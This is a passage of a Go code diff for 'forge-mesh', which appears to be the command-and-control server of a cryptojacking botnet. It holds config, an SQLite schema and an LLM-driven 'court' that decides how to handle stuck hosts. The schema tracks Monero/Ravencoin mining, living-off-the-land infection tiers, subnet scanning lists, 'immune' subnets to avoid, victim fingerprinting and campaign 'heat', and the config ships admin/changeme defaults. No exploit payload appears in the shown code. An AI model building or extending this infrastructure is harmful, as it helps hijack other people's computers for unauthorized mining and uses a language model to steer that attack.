|
||||
}))
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/beacon", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
handler.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", rec.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodPost, "/beacon", nil)
|
||||
req.Header.Set("Authorization", "Bearer fleet-secret")
|
||||
rec = httptest.NewRecorder()
|
||||
handler.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractBearer(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
req.Header.Set("Authorization", "Bearer abc123")
|
||||
if got := ExtractBearer(req); got != "abc123" {
|
||||
t.Fatalf("expected abc123, got %q", got)
|
||||
}
|
||||
}
|
||||
134
internal/config/config.go
Normal file
134
internal/config/config.go
Normal file
@@ -0,0 +1,134 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Config holds forge-mesh server configuration loaded from config.json.
|
||||
type Config struct {
|
||||
ListenAddr string `json:"listen_addr"`
|
||||
DataDir string `json:"data_dir"`
|
||||
DatabasePath string `json:"database_path"`
|
||||
OperatorClearance int `json:"operator_clearance"`
|
||||
Auth AuthConfig `json:"auth"`
|
||||
WalletPolicy WalletPolicy `json:"wallet_policy"`
|
||||
Stratum StratumConfig `json:"stratum"`
|
||||
Forge ForgeConfig `json:"forge"`
|
||||
Court CourtConfig `json:"court"`
|
||||
Telegram TelegramConfig `json:"telegram"`
|
||||
}
|
||||
|
||||
// TelegramConfig holds alert bot settings (W19).
|
||||
type TelegramConfig struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
BotToken string `json:"bot_token"`
|
||||
ChatID string `json:"chat_id"`
|
||||
}
|
||||
|
||||
type AuthConfig struct {
|
||||
BasicUsername string `json:"basic_username"`
|
||||
BasicPassword string `json:"basic_password"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
}
|
||||
|
||||
type WalletPolicy struct {
|
||||
DefaultWallet string `json:"default_wallet"`
|
||||
Currency string `json:"currency"`
|
||||
}
|
||||
|
||||
type StratumConfig struct {
|
||||
XMRListen string `json:"xmr_listen"`
|
||||
RVNListen string `json:"rvn_listen"`
|
||||
UpstreamXMR string `json:"upstream_xmr"`
|
||||
UpstreamRVN string `json:"upstream_rvn"`
|
||||
}
|
||||
|
||||
type ForgeConfig struct {
|
||||
SigningKeyPath string `json:"signing_key_path"`
|
||||
ArtifactsDir string `json:"artifacts_dir"`
|
||||
}
|
||||
|
||||
type CourtConfig struct {
|
||||
OllamaURL string `json:"ollama_url"`
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
// Load reads and parses config from the given JSON file path.
|
||||
func Load(path string) (*Config, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read config: %w", err)
|
||||
}
|
||||
|
||||
var cfg Config
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
return nil, fmt.Errorf("parse config: %w", err)
|
||||
}
|
||||
|
||||
cfg.applyDefaults(path)
|
||||
if err := cfg.validate(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &cfg, nil
|
||||
}
|
||||
|
||||
func (c *Config) applyDefaults(configPath string) {
|
||||
if c.ListenAddr == "" {
|
||||
c.ListenAddr = ":8989"
|
||||
}
|
||||
if c.DataDir == "" {
|
||||
c.DataDir = filepath.Dir(configPath)
|
||||
}
|
||||
if c.DatabasePath == "" {
|
||||
c.DatabasePath = filepath.Join(c.DataDir, "forge-mesh.db")
|
||||
}
|
||||
if c.Auth.BasicUsername == "" {
|
||||
c.Auth.BasicUsername = "admin"
|
||||
}
|
||||
if c.Auth.BasicPassword == "" {
|
||||
c.Auth.BasicPassword = "changeme"
|
||||
}
|
||||
if c.WalletPolicy.Currency == "" {
|
||||
c.WalletPolicy.Currency = "XMR"
|
||||
}
|
||||
if c.Stratum.XMRListen == "" {
|
||||
c.Stratum.XMRListen = ":3333"
|
||||
}
|
||||
if c.Stratum.RVNListen == "" {
|
||||
c.Stratum.RVNListen = ":3388"
|
||||
}
|
||||
if c.Forge.ArtifactsDir == "" {
|
||||
c.Forge.ArtifactsDir = filepath.Join(c.DataDir, "artifacts")
|
||||
}
|
||||
if c.Forge.SigningKeyPath == "" {
|
||||
c.Forge.SigningKeyPath = filepath.Join(c.DataDir, "signing.key")
|
||||
}
|
||||
if c.Court.OllamaURL == "" {
|
||||
c.Court.OllamaURL = "http://127.0.0.1:11434"
|
||||
}
|
||||
if c.OperatorClearance == 0 {
|
||||
c.OperatorClearance = 4
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) validate() error {
|
||||
if c.ListenAddr == "" {
|
||||
return fmt.Errorf("listen_addr is required")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// EnsureDataDirs creates data directories referenced by the config.
|
||||
func (c *Config) EnsureDataDirs() error {
|
||||
dirs := []string{c.DataDir, c.Forge.ArtifactsDir}
|
||||
for _, dir := range dirs {
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return fmt.Errorf("mkdir %s: %w", dir, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
262
internal/court/court.go
Normal file
262
internal/court/court.go
Normal file
@@ -0,0 +1,262 @@
|
||||
package court
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// Court runs the Singular Machine Court with prosecutor/defender/judge roles.
|
||||
type Court struct {
|
||||
DB *sql.DB
|
||||
Config config.CourtConfig
|
||||
Fleet *fleet.Store
|
||||
Client *http.Client
|
||||
}
|
||||
|
||||
func New(db *sql.DB, cfg config.CourtConfig, fleetStore *fleet.Store) *Court {
|
||||
return &Court{
|
||||
DB: db,
|
||||
Config: cfg,
|
||||
Fleet: fleetStore,
|
||||
Client: &http.Client{Timeout: 120 * time.Second},
|
||||
}
|
||||
}
|
||||
|
||||
// Session represents an active or resolved court case.
|
||||
type Session struct {
|
||||
ID string `json:"id"`
|
||||
HostID string `json:"host_id"`
|
||||
Status string `json:"status"`
|
||||
Transcript []TranscriptLine `json:"transcript"`
|
||||
Verdict string `json:"verdict,omitempty"`
|
||||
ClearanceRequired int `json:"clearance_required"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
ResolvedAt *time.Time `json:"resolved_at,omitempty"`
|
||||
}
|
||||
|
||||
type TranscriptLine struct {
|
||||
Role string `json:"role"`
|
||||
Content string `json:"content"`
|
||||
Timestamp string `json:"timestamp"`
|
||||
}
|
||||
|
||||
// OpenSession starts a court case for a stuck host.
|
||||
func (c *Court) OpenSession(ctx context.Context, hostID string) (*Session, error) {
|
||||
id := newID()
|
||||
_, err := c.DB.ExecContext(ctx, `
|
||||
INSERT INTO court_sessions (id, host_id, status, clearance_required)
|
||||
VALUES (?, ?, 'open', 4)`, id, hostID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = c.emitSeer(ctx, hostID, "court_open", map[string]string{"session_id": id})
|
||||
return c.GetSession(ctx, id)
|
||||
}
|
||||
|
||||
// GetSession loads a court session by ID.
|
||||
func (c *Court) GetSession(ctx context.Context, sessionID string) (*Session, error) {
|
||||
var s Session
|
||||
var transcript, verdict, created, resolved sql.NullString
|
||||
err := c.DB.QueryRowContext(ctx, `
|
||||
SELECT id, host_id, status, transcript_json, COALESCE(verdict,''), clearance_required, created_at, resolved_at
|
||||
FROM court_sessions WHERE id = ?`, sessionID).
|
||||
Scan(&s.ID, &s.HostID, &s.Status, &transcript, &verdict, &s.ClearanceRequired, &created, &resolved)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if transcript.Valid {
|
||||
_ = json.Unmarshal([]byte(transcript.String), &s.Transcript)
|
||||
}
|
||||
s.Verdict = verdict.String
|
||||
if t, err := time.Parse("2006-01-02 15:04:05", created.String); err == nil {
|
||||
s.CreatedAt = t
|
||||
}
|
||||
if resolved.Valid && resolved.String != "" {
|
||||
if t, err := time.Parse("2006-01-02 15:04:05", resolved.String); err == nil {
|
||||
s.ResolvedAt = &t
|
||||
}
|
||||
}
|
||||
return &s, nil
|
||||
}
|
||||
|
||||
// Deliberate runs prosecutor/defender/judge via Ollama when enabled.
|
||||
func (c *Court) Deliberate(ctx context.Context, sessionID string) (*Session, error) {
|
||||
s, err := c.GetSession(ctx, sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
evidence := c.gatherEvidence(ctx, s.HostID)
|
||||
prosecutor, err := c.prompt(ctx, "prosecutor", evidence, "Argue why this host should be remediated aggressively.")
|
||||
if err != nil {
|
||||
prosecutor = fmt.Sprintf("[ollama unavailable] host %s shows repeated tier failures", s.HostID)
|
||||
}
|
||||
defender, err := c.prompt(ctx, "defender", evidence, "Argue for conservative remediation and tier retry.")
|
||||
if err != nil {
|
||||
defender = "Recommend adaptive tier reorder before destructive action."
|
||||
}
|
||||
judgePrompt := fmt.Sprintf("Prosecutor: %s\nDefender: %s\nIssue a concise operational verdict.", prosecutor, defender)
|
||||
verdict, err := c.prompt(ctx, "judge", evidence, judgePrompt)
|
||||
if err != nil {
|
||||
verdict = "retry_adaptive_tiers"
|
||||
}
|
||||
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
s.Transcript = append(s.Transcript,
|
||||
TranscriptLine{Role: "prosecutor", Content: prosecutor, Timestamp: now},
|
||||
TranscriptLine{Role: "defender", Content: defender, Timestamp: now},
|
||||
TranscriptLine{Role: "judge", Content: verdict, Timestamp: now},
|
||||
)
|
||||
|
||||
b, _ := json.Marshal(s.Transcript)
|
||||
_, err = c.DB.ExecContext(ctx, `
|
||||
UPDATE court_sessions SET transcript_json = ?, status = 'deliberated' WHERE id = ?`,
|
||||
string(b), sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
_ = c.emitSeer(ctx, s.HostID, "court_deliberated", map[string]string{"session_id": sessionID, "verdict_draft": verdict})
|
||||
return c.GetSession(ctx, sessionID)
|
||||
}
|
||||
|
||||
func (c *Court) gatherEvidence(ctx context.Context, hostID string) string {
|
||||
var hostname, status string
|
||||
var hashrate float64
|
||||
_ = c.DB.QueryRowContext(ctx, `SELECT hostname, status, hashrate FROM hosts WHERE id = ?`, hostID).
|
||||
Scan(&hostname, &status, &hashrate)
|
||||
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "Host: %s (%s) status=%s hashrate=%.2f\n", hostID, hostname, status, hashrate)
|
||||
|
||||
if c.Fleet != nil {
|
||||
attempts, _ := c.Fleet.ListLOTL(ctx, hostID, 20)
|
||||
for _, a := range attempts {
|
||||
fmt.Fprintf(&b, "LOTL tier=%d phase=%s status=%s err=%s\n", a.Tier, a.Phase, a.Status, a.Error)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
type ollamaRequest struct {
|
||||
Model string `json:"model"`
|
||||
Prompt string `json:"prompt"`
|
||||
Stream bool `json:"stream"`
|
||||
}
|
||||
|
||||
type ollamaResponse struct {
|
||||
Response string `json:"response"`
|
||||
}
|
||||
|
||||
func (c *Court) prompt(ctx context.Context, role, evidence, instruction string) (string, error) {
|
||||
if !c.Config.Enabled {
|
||||
return fmt.Sprintf("[%s stub] %s", role, instruction), nil
|
||||
}
|
||||
|
||||
body := ollamaRequest{
|
||||
Model: "llama3.2",
|
||||
Prompt: fmt.Sprintf("You are the %s in Singular Machine Court.\nEvidence:\n%s\n\n%s", role, evidence, instruction),
|
||||
Stream: false,
|
||||
}
|
||||
payload, _ := json.Marshal(body)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, strings.TrimRight(c.Config.OllamaURL, "/")+"/api/generate", bytes.NewReader(payload))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
resp, err := c.Client.Do(req)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
raw, _ := io.ReadAll(resp.Body)
|
||||
return "", fmt.Errorf("ollama status %d: %s", resp.StatusCode, string(raw))
|
||||
}
|
||||
|
||||
var out ollamaResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return strings.TrimSpace(out.Response), nil
|
||||
}
|
||||
|
||||
// DispatchVerdict applies an L4 verdict and closes the session.
|
||||
func (c *Court) DispatchVerdict(ctx context.Context, sessionID, verdict string, clearance int) error {
|
||||
if clearance < 4 {
|
||||
return fmt.Errorf("L4 clearance required for verdict dispatch (got L%d)", clearance)
|
||||
}
|
||||
|
||||
s, err := c.GetSession(ctx, sessionID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = c.DB.ExecContext(ctx, `
|
||||
UPDATE court_sessions SET verdict = ?, status = 'resolved', resolved_at = datetime('now')
|
||||
WHERE id = ?`, verdict, sessionID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_ = c.emitSeer(ctx, s.HostID, "verdict_dispatched", map[string]string{
|
||||
"session_id": sessionID,
|
||||
"verdict": verdict,
|
||||
})
|
||||
|
||||
return c.applyVerdict(ctx, s.HostID, verdict)
|
||||
}
|
||||
|
||||
func (c *Court) applyVerdict(ctx context.Context, hostID, verdict string) error {
|
||||
switch strings.ToLower(verdict) {
|
||||
case "retry_adaptive_tiers", "adaptive_retry":
|
||||
if c.Fleet == nil {
|
||||
return nil
|
||||
}
|
||||
order, err := c.Fleet.GetAdaptiveOrder(ctx, "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = RunAdaptiveRetry(ctx, c.Fleet, hostID, order)
|
||||
return err
|
||||
case "pause_host", "pause":
|
||||
_, err := c.DB.ExecContext(ctx, `UPDATE hosts SET status = 'paused', updated_at = datetime('now') WHERE id = ?`, hostID)
|
||||
return err
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// RunAdaptiveRetry triggers tier chain with adaptive order (helper to avoid import cycle).
|
||||
func RunAdaptiveRetry(ctx context.Context, store *fleet.Store, hostID string, order []int) ([]*fleet.TierResult, error) {
|
||||
return fleet.RunTierChain(ctx, store, hostID, order)
|
||||
}
|
||||
|
||||
func (c *Court) emitSeer(ctx context.Context, hostID, eventType string, payload map[string]string) error {
|
||||
b, _ := json.Marshal(payload)
|
||||
_, err := c.DB.ExecContext(ctx, `
|
||||
INSERT INTO seer_events (id, host_id, event_type, payload_json) VALUES (?, ?, ?, ?)`,
|
||||
newID(), hostID, eventType, string(b))
|
||||
return err
|
||||
}
|
||||
|
||||
func newID() string {
|
||||
b := make([]byte, 16)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
153
internal/court/seer.go
Normal file
153
internal/court/seer.go
Normal file
@@ -0,0 +1,153 @@
|
||||
package court
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SeerHub broadcasts court and LOTL events over SSE.
|
||||
type SeerHub struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
func NewSeerHub(db *sql.DB) *SeerHub {
|
||||
return &SeerHub{DB: db}
|
||||
}
|
||||
|
||||
// SeerEvent is one SSE payload line.
|
||||
type SeerEvent struct {
|
||||
ID string `json:"id"`
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
EventType string `json:"event_type"`
|
||||
Payload json.RawMessage `json:"payload"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// StreamHandler serves GET /seer as Server-Sent Events.
|
||||
func (h *SeerHub) StreamHandler() http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
flusher, ok := w.(http.Flusher)
|
||||
if !ok {
|
||||
http.Error(w, "streaming unsupported", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "text/event-stream")
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
w.Header().Set("Connection", "keep-alive")
|
||||
|
||||
since := r.URL.Query().Get("since")
|
||||
ticker := time.NewTicker(2 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-r.Context().Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
events, err := h.fetchEvents(r.Context(), since)
|
||||
if err != nil {
|
||||
fmt.Fprintf(w, "event: error\ndata: %q\n\n", err.Error())
|
||||
flusher.Flush()
|
||||
continue
|
||||
}
|
||||
for _, ev := range events {
|
||||
b, _ := json.Marshal(ev)
|
||||
fmt.Fprintf(w, "event: seer\ndata: %s\n\n", b)
|
||||
since = ev.CreatedAt.Format("2006-01-02 15:04:05")
|
||||
}
|
||||
flusher.Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *SeerHub) fetchEvents(ctx context.Context, since string) ([]SeerEvent, error) {
|
||||
q := `SELECT id, COALESCE(host_id,''), event_type, payload_json, created_at FROM seer_events`
|
||||
var rows *sql.Rows
|
||||
var err error
|
||||
if since != "" {
|
||||
rows, err = h.DB.QueryContext(ctx, q+` WHERE created_at > ? ORDER BY created_at ASC LIMIT 50`, since)
|
||||
} else {
|
||||
rows, err = h.DB.QueryContext(ctx, q+` ORDER BY created_at DESC LIMIT 20`)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var events []SeerEvent
|
||||
for rows.Next() {
|
||||
var ev SeerEvent
|
||||
var created string
|
||||
var payload string
|
||||
if err := rows.Scan(&ev.ID, &ev.HostID, &ev.EventType, &payload, &created); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ev.Payload = json.RawMessage(payload)
|
||||
ev.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
|
||||
events = append(events, ev)
|
||||
}
|
||||
return events, rows.Err()
|
||||
}
|
||||
|
||||
// TimelineHandler serves LOTL timeline merged with court events for a host.
|
||||
func TimelineHandler(c *Court) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("host_id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host_id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
type entry struct {
|
||||
Kind string `json:"kind"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Data interface{} `json:"data"`
|
||||
}
|
||||
|
||||
var timeline []entry
|
||||
|
||||
if c.Fleet != nil {
|
||||
lotl, err := c.Fleet.ListLOTL(r.Context(), hostID, 100)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
for _, a := range lotl {
|
||||
timeline = append(timeline, entry{Kind: "lotl", Timestamp: a.CreatedAt, Data: a})
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := c.DB.QueryContext(r.Context(), `
|
||||
SELECT id, status, COALESCE(verdict,''), created_at, COALESCE(resolved_at,'')
|
||||
FROM court_sessions WHERE host_id = ? ORDER BY created_at DESC LIMIT 20`, hostID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var id, status, verdict, created, resolved string
|
||||
if err := rows.Scan(&id, &status, &verdict, &created, &resolved); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
ts, _ := time.Parse("2006-01-02 15:04:05", created)
|
||||
timeline = append(timeline, entry{
|
||||
Kind: "court", Timestamp: ts,
|
||||
Data: map[string]string{"session_id": id, "status": status, "verdict": verdict},
|
||||
})
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||
"host_id": hostID,
|
||||
"timeline": timeline,
|
||||
})
|
||||
}
|
||||
}
|
||||
240
internal/db/db.go
Normal file
240
internal/db/db.go
Normal file
@@ -0,0 +1,240 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
const schema = `
|
||||
PRAGMA foreign_keys = ON;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS hosts (
|
||||
id TEXT PRIMARY KEY,
|
||||
hostname TEXT NOT NULL,
|
||||
fingerprint TEXT,
|
||||
phenotype TEXT,
|
||||
status TEXT NOT NULL DEFAULT 'offline',
|
||||
hashrate REAL NOT NULL DEFAULT 0,
|
||||
hashrate_hps REAL NOT NULL DEFAULT 0,
|
||||
current_tier INTEGER NOT NULL DEFAULT 0,
|
||||
tier_type TEXT NOT NULL DEFAULT '',
|
||||
tier_state TEXT NOT NULL DEFAULT 'idle',
|
||||
clearance_level INTEGER NOT NULL DEFAULT 0,
|
||||
mining_profile_id TEXT,
|
||||
last_seen_at TEXT,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now')),
|
||||
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS tiers (
|
||||
id TEXT PRIMARY KEY,
|
||||
host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE,
|
||||
tier_order INTEGER NOT NULL,
|
||||
tier_type TEXT NOT NULL,
|
||||
config_json TEXT NOT NULL DEFAULT '{}',
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
started_at TEXT,
|
||||
ended_at TEXT,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_tiers_host_id ON tiers(host_id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS campaigns (
|
||||
id TEXT PRIMARY KEY,
|
||||
code TEXT NOT NULL UNIQUE,
|
||||
name TEXT NOT NULL,
|
||||
pin TEXT,
|
||||
heat INTEGER NOT NULL DEFAULT 0,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS lotl_attempts (
|
||||
id TEXT PRIMARY KEY,
|
||||
host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE,
|
||||
tier INTEGER NOT NULL,
|
||||
phase TEXT NOT NULL,
|
||||
status TEXT NOT NULL,
|
||||
error TEXT,
|
||||
metadata_json TEXT NOT NULL DEFAULT '{}',
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_lotl_attempts_host_id ON lotl_attempts(host_id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS mining_profiles (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
wallet_address TEXT NOT NULL DEFAULT '',
|
||||
tiers_json TEXT NOT NULL DEFAULT '[]',
|
||||
policy_from_server INTEGER NOT NULL DEFAULT 1,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now')),
|
||||
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS builds (
|
||||
id TEXT PRIMARY KEY,
|
||||
os TEXT NOT NULL,
|
||||
arch TEXT NOT NULL,
|
||||
version TEXT NOT NULL,
|
||||
checksum TEXT NOT NULL,
|
||||
signature TEXT,
|
||||
public INTEGER NOT NULL DEFAULT 0,
|
||||
path TEXT,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_builds_public ON builds(public, os, arch);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS failure_atlas (
|
||||
id TEXT PRIMARY KEY,
|
||||
phenotype TEXT NOT NULL,
|
||||
tier INTEGER NOT NULL,
|
||||
failure_count INTEGER NOT NULL DEFAULT 0,
|
||||
immune_until TEXT,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now')),
|
||||
updated_at TEXT NOT NULL DEFAULT (datetime('now')),
|
||||
UNIQUE(phenotype, tier)
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS subnet_cidrs (
|
||||
id TEXT PRIMARY KEY,
|
||||
cidr TEXT NOT NULL UNIQUE,
|
||||
enabled INTEGER NOT NULL DEFAULT 1,
|
||||
last_scan_at TEXT,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS subnet_immune (
|
||||
prefix TEXT PRIMARY KEY,
|
||||
failure_count INTEGER NOT NULL DEFAULT 0,
|
||||
paused_until TEXT,
|
||||
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS phenotype_tier_orders (
|
||||
phenotype TEXT PRIMARY KEY,
|
||||
tier_order_json TEXT NOT NULL DEFAULT '[]',
|
||||
wins INTEGER NOT NULL DEFAULT 0,
|
||||
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS erasure_bundles (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
total_shards INTEGER NOT NULL DEFAULT 6,
|
||||
data_shards INTEGER NOT NULL DEFAULT 4,
|
||||
parity_shards INTEGER NOT NULL DEFAULT 2,
|
||||
checksum TEXT NOT NULL,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS erasure_shards (
|
||||
id TEXT PRIMARY KEY,
|
||||
bundle_id TEXT NOT NULL REFERENCES erasure_bundles(id) ON DELETE CASCADE,
|
||||
shard_index INTEGER NOT NULL,
|
||||
data BLOB NOT NULL,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now')),
|
||||
UNIQUE(bundle_id, shard_index)
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS policy_snapshots (
|
||||
token TEXT PRIMARY KEY,
|
||||
policy_json TEXT NOT NULL,
|
||||
expires_at TEXT,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS court_sessions (
|
||||
id TEXT PRIMARY KEY,
|
||||
host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE,
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
transcript_json TEXT NOT NULL DEFAULT '[]',
|
||||
verdict TEXT,
|
||||
clearance_required INTEGER NOT NULL DEFAULT 4,
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now')),
|
||||
resolved_at TEXT
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_court_sessions_host_id ON court_sessions(host_id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS seer_events (
|
||||
id TEXT PRIMARY KEY,
|
||||
host_id TEXT,
|
||||
event_type TEXT NOT NULL,
|
||||
payload_json TEXT NOT NULL DEFAULT '{}',
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_seer_events_created_at ON seer_events(created_at);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS wireguard_peers (
|
||||
id TEXT PRIMARY KEY,
|
||||
host_id TEXT,
|
||||
public_key TEXT NOT NULL,
|
||||
endpoint TEXT,
|
||||
allowed_ips TEXT NOT NULL DEFAULT '10.66.66.2/32',
|
||||
config_json TEXT NOT NULL DEFAULT '{}',
|
||||
created_at TEXT NOT NULL DEFAULT (datetime('now'))
|
||||
);
|
||||
`
|
||||
|
||||
// Open opens (or creates) the SQLite database and applies the schema.
|
||||
func Open(path string) (*sql.DB, error) {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return nil, fmt.Errorf("mkdir db dir: %w", err)
|
||||
}
|
||||
|
||||
dsn := fmt.Sprintf("file:%s?_foreign_keys=on&_journal_mode=WAL", path)
|
||||
conn, err := sql.Open("sqlite3", dsn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open sqlite: %w", err)
|
||||
}
|
||||
|
||||
if err := conn.Ping(); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("ping sqlite: %w", err)
|
||||
}
|
||||
|
||||
if _, err := conn.Exec(schema); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("apply schema: %w", err)
|
||||
}
|
||||
|
||||
if err := migrate(conn); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("migrate: %w", err)
|
||||
}
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
func migrate(conn *sql.DB) error {
|
||||
